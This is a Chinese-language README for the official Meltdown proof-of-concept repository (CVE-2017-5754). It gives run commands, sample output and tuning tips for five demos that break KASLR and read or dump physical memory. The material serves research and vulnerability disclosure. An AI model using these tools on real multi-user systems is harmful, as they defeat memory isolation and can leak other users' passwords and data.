isec-tugraz/meltdown
GitHub: isec-tugraz/meltdown
Meltdown硬件漏洞的官方概念验证工具,利用CPU乱序执行特性突破隔离边界读取内核和物理内存。
Stars: 4169 | Forks: 523
# Meltdown 概念验证
此代码库包含多个应用程序,用于演示 [Meltdown 漏洞](https://meltdownattack.com)。有关该漏洞的技术详情,请参阅论文:
* [Meltdown](https://meltdownattack.com/meltdown.pdf),作者:Lipp, Schwarz, Gruss, Prescher, Haas, Mangard, Kocher, Genkin, Yarom, 和 Hamburg
此代码库中的应用程序是使用 [libkdump](https://github.com/IAIK/Meltdown/tree/master/libkdump) 构建的,这是我们在论文中开发的一个库。该库通过自动适应环境的某些特性,简化了漏洞的利用过程。
## 视频
此代码库包含几个演示 Meltdown 的视频
* [视频 #1](https://cdn.rawgit.com/IAIK/meltdown/master/videos/spy.mp4) 展示了如何利用 Meltdown 实时监控密码输入。
* [视频 #2](https://cdn.rawgit.com/IAIK/meltdown/master/videos/memdump.mp4) 展示了 Meltdown 如何泄漏物理内存内容。
* [视频 #3](https://cdn.rawgit.com/IAIK/meltdown/master/videos/cat1.mp4) 展示了 Meltdown 如何从内存中重建一张照片。
* [视频 #4](https://cdn.rawgit.com/IAIK/meltdown/master/videos/cat2.mp4) 展示了 Meltdown 如何从内存中重建一张使用 FLIF 文件格式编码的照片。
* [视频 #5](https://cdn.rawgit.com/IAIK/meltdown/master/videos/uncached.mp4) 展示了 Meltdown 如何泄漏未缓存的内存。
## 演示
此代码库包含五个演示,用于展示不同的用例。所有演示均在搭载 Intel Core i7-6700K 的 Ubuntu 16.04 上进行了测试,但它们应该适用于任何配备 2010 年及以后现代 Intel CPU 的 Linux 系统。
为了获得最佳效果,我们推荐使用支持 Intel TSX 的快速 CPU(例如任何 Intel Core i7-5xxx、i7-6xxx 或 i7-7xxx)。
此外,每个演示都应固定到一个 CPU 核心,例如使用 taskset。
### 演示的构建依赖
作为前置条件,你需要在机器上安装 glibc-static。
对于基于 RPM 的系统:
```
sudo yum install -y glibc-static
```
### 演示 #1:初步测试 (`test`)
这是最基础的演示。它利用 Meltdown 读取自身地址空间中的可访问地址,并未破坏任何隔离机制。
如果此演示在你的设备上无法运行,其余的演示很可能也无法运行。原因多种多样,例如:CPU 可能太慢、不支持乱序执行、高分辨率计时器精度不足(特别是在虚拟机中)、操作系统不支持自定义信号处理程序等。
#### 构建与运行
```
make
taskset 0x1 ./test
```
如果你看到类似这样的输出
```
Expect: Welcome to the wonderful world of microarchitectural attacks
Got: Welcome to the wonderful world of microarchitectural attacks
```
那么基础演示就成功了。
### 演示 #2:破坏 KASLR (`kaslr`)
从 Linux 内核 4.12 开始,KASLR(内核地址空间布局随机化)默认处于激活状态。这意味着内核的位置(以及映射整个物理内存的直接物理映射)在每次重启时都会改变。
此演示利用 Meltdown 泄漏直接物理映射的(秘密)随机化偏移。此演示需要 root 权限以加快进程。论文描述了一种不需要 root 权限的变体。
#### 构建与运行
```
make
sudo taskset 0x1 ./kaslr
```
几秒钟后,你应该会看到类似这样的内容
```
[+] Direct physical map offset: 0xffff880000000000
```
### 演示 #3:可靠性测试 (`reliability`)
此演示测试读取物理内存的可靠性。对于此演示,你需要直接物理映射偏移(例如从演示 #2 获取),或者通过在内核命令行中指定 `nokaslr` 来禁用 KASLR。
#### 构建与运行
构建并启动 `reliability`。如果你启用了 KASLR,第一个参数是直接物理映射的偏移量。否则,该程序不需要参数。
```
make
sudo taskset 0x1 ./reliability 0xffff880000000000
```
几秒钟后,你应该会得到类似这样的输出:
```
[-] Success rate: 99.93% (read 1354 values)
```
### 演示 #4:读取物理内存 (`physical_reader`)
此演示通过直接读取物理内存,从另一个进程读取内存。对于此演示,你需要直接物理映射偏移(例如从演示 #2 获取),或者通过在内核命令行中指定 `nokaslr` 来禁用 KASLR。
原则上,该程序可以读取任意物理地址。然而,由于物理内存包含大量非人类可读的数据,我们提供了一个测试工具(`secret`),它将人类可读的字符串放入内存并直接提供该字符串的物理地址。
#### 构建与运行
为了进行演示,首先(以 root 身份)运行 `secret` 以获取人类可读字符串的物理地址:
```
make
sudo ./secret
```
它应该输出类似这样的内容:
```
[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret
```
在 `secret` 程序运行期间,启动 `physical_reader`。第一个参数是 `secret` 打印的物理地址。如果你没有禁用 KASLR,第二个参数是直接物理映射的偏移量。
```
taskset 0x1 ./physical_reader 0x390fff400 0xffff880000000000
```
几秒钟后,你应该会得到类似这样的输出:
```
[+] Physical address : 0x390fff400
[+] Physical offset : 0xffff880000000000
[+] Reading virtual address: 0xffff880390fff400
If you can read this, this is really bad
```
### 演示 #5:转储内存 (`memdump`)
此演示转储内存的内容。与演示 #3 和 #4 一样,它利用直接物理映射以类似十六进制转储的格式转储物理内存的内容。
同样,由于物理内存包含大量非人类可读的内容,我们提供了一个测试工具来用人类可读的字符串填充大量物理内存。
#### 构建与运行
为了进行演示,首先运行 `memory_filler` 以用人类可读的字符串填充内存。第一个参数是要填充的内存量(以 GB 为单位)。
```
make
./memory_filler 9
```
然后,运行 `memdump` 工具转储内存内容。如果你之前执行了 `memory_filler`,你应该能看到一些字符串片段。
如果你正在运行打开了多个标签页的 Firefox 或 Chrome,你可能还会看到当前打开或最近关闭的网站的部分内容。
第一个参数是转储应开始的物理地址(留空以从第一个 GB 开始)。第二个参数是你想要读取的字节数,输入 -1 以读取所有内容。如果你没有禁用 KASLR,第三个参数是直接物理映射的偏移量。
```
taskset 0x1 ./memdump 0x240000000 -1 0xffff880000000000 # start at 9 GB
```
你应该会得到部分内存的十六进制转储(甚至可能包含密码等机密信息,参见论文中的示例),例如:
```
240001c9f: | 00 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .m.............. |
24000262f: | 00 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .}.............. |
24000271f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 6e 20 75 | ............en u |
24000272f: | 73 65 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 | ser space and ke |
24000273f: | 72 6e 65 6c 57 65 6c 63 6f 6d 65 20 74 6f 20 74 | rnelWelcome to t |
24000298f: | 00 61 72 79 20 62 65 74 77 65 65 6e 20 75 73 65 | .ary between use |
24000299f: | 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 72 6e | r space and kern |
2400029af: | 65 6c 42 75 72 6e 20 61 66 74 65 72 20 72 65 61 | elBurn after rea |
2400029bf: | 64 69 6e 67 20 74 68 69 73 20 73 74 72 69 6e 67 | ding this string |
240002dcf: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 | ................ |
2400038af: | 6a 75 73 74 20 73 70 69 65 64 20 6f 6e 20 61 00 | just spied on a. |
240003c8f: | 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
24000412f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 74 73 2e | ............ets. |
24000413f: | 2e 2e 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 | ..Welcome to the |
2400042ff: | 00 00 00 00 00 00 00 00 00 6e 67 72 61 74 75 6c | .........ngratul |
24000430f: | 61 74 69 6f 6e 73 2c 20 79 6f 75 20 6a 75 73 74 | ations, you just |
24000431f: | 20 73 70 69 65 64 20 6f 6e 20 61 6e 20 61 70 70 | spied on an app |
```
## 常见问题解答
* **它能在 Windows / Windows 上的 Ubuntu (WSL) / Mac OS 上运行吗?**
不能。此 PoC 仅适用于 Linux,因为它使用了 Linux 内核特有的属性,例如直接物理映射。
* **我可以在虚拟机中运行此 PoC 吗?**
可以,该 PoC 在虚拟机上也能运行。但是,由于虚拟机引入了额外的层级,其效果可能不如在原生硬件上好。
* **KASLR 程序 (`kaslr`) 找不到偏移量!**
`kaslr` 工具为了追求速度只进行非常少的测量。如果它找不到偏移量,有两种可能:
* 更改 `kaslr.c` 中的重试次数:`config.retries = 1000;`
* 使用 `kaslr_offset` 中的内核模块直接从内核读取偏移量。安装你内核对应的内核头文件(```sudo apt-get install linux-headers-`uname -r` ```)并运行 `sudo ./direct_physical_map.sh`
* **你说它适用于未缓存的内存,但你所有的演示都确保内存已被缓存!**
使其在未缓存内存上运行更加棘手,通常需要对参数进行一些调整。因此,我们在 PoC 中确保内存被缓存,以便于复现。但是,你可以简单地删除缓存值的代码,并用 `clflush` 替换它,以测试在未缓存内存上的漏洞利用(参见视频 #5 中的示例)。
尽管 Google 的原始博客文章中未提及,但这同时也被独立研究人员证实(例如 [Alex Ionescu](https://twitter.com/aionescu/status/951261470343360513), [Raphael Carvalho](https://twitter.com/raphael_scarv/status/952078140028964864), [Pavel Boldin](https://www.youtube.com/watch?v=EMBGXswJC4s))。
* **它就是无法在我的电脑上运行,我该怎么办?**
这可能有很多不同的原因。我们收集了一些你可以尝试的方法:
* 确保你的 CPU 频率处于最大值,并禁用频率调节。
* 如果你在移动设备(例如笔记本电脑)上运行,请确保已插入电源以获得最佳性能。
* 尝试将工具固定到特定的 CPU 核心(例如使用 taskset)。也可以尝试不同的核心和核心组合。
* 改变电脑上的负载。在某些机器上,负载较高时效果更好;而在另一些机器上,负载较低时效果更好。
* 尝试在 BIOS 中禁用超线程。在某些电脑上,禁用超线程后效果会好很多。
* 使用 Meltdown 的不同变体。这可以在 `libkdump/libkdump.c` 中的 `#define MELTDOWN meltdown_nonull` 这一行进行更改。例如尝试 `meltdown` 而不是 `meltdown_nonoll`,这在某些机器上效果要好得多(但在其他机器上根本不起作用)。
* 尝试产生许多中断,例如通过运行工具 `stress` 并使用 `stress -i 2`(或根据核心数量使用其他 `i` 参数值)。
* 尝试重启演示程序以及你的电脑。特别是在待机之后,某些电脑上的时序会被打乱。
* 调整 libkdump 的参数,例如增加重试次数和/或测量次数。
## 警告
**警告 #1**:我们按原样提供此代码。你需自行负责保护你自己、你的财产和数据以及他人免受此代码引发的任何风险。此代码可能会导致你的机器发生意外和不良行为。此代码可能无法检测到你机器上的漏洞。
**警告 #2**:如果你发现某台计算机易受 Meltdown 漏洞攻击,你可能希望避免将其用作多用户系统。Meltdown 破坏了 CPU 的内存保护。在易受 Meltdown 漏洞攻击的机器上,一个进程可以读取其他进程或内核使用的所有页面。
**警告 #3**:此代码仅用于测试目的。请勿在任何生产系统上运行。请勿在任何可能被其他人或实体使用的系统上运行。
标签:CPU安全, CVE-2017-5754, libkdump, meg, Meltdown, PoC, speculative execution, TSX, Web报告查看器, 侧信道攻击, 信息安全, 内存泄露, 内核漏洞, 实时处理, 客户端加密, 密码管理, 性能分析, 恶意利用, 推测执行, 暴力破解, 概念验证, 物理内存读取, 硬件漏洞, 缓存攻击, 防御绕过, 隐私窃取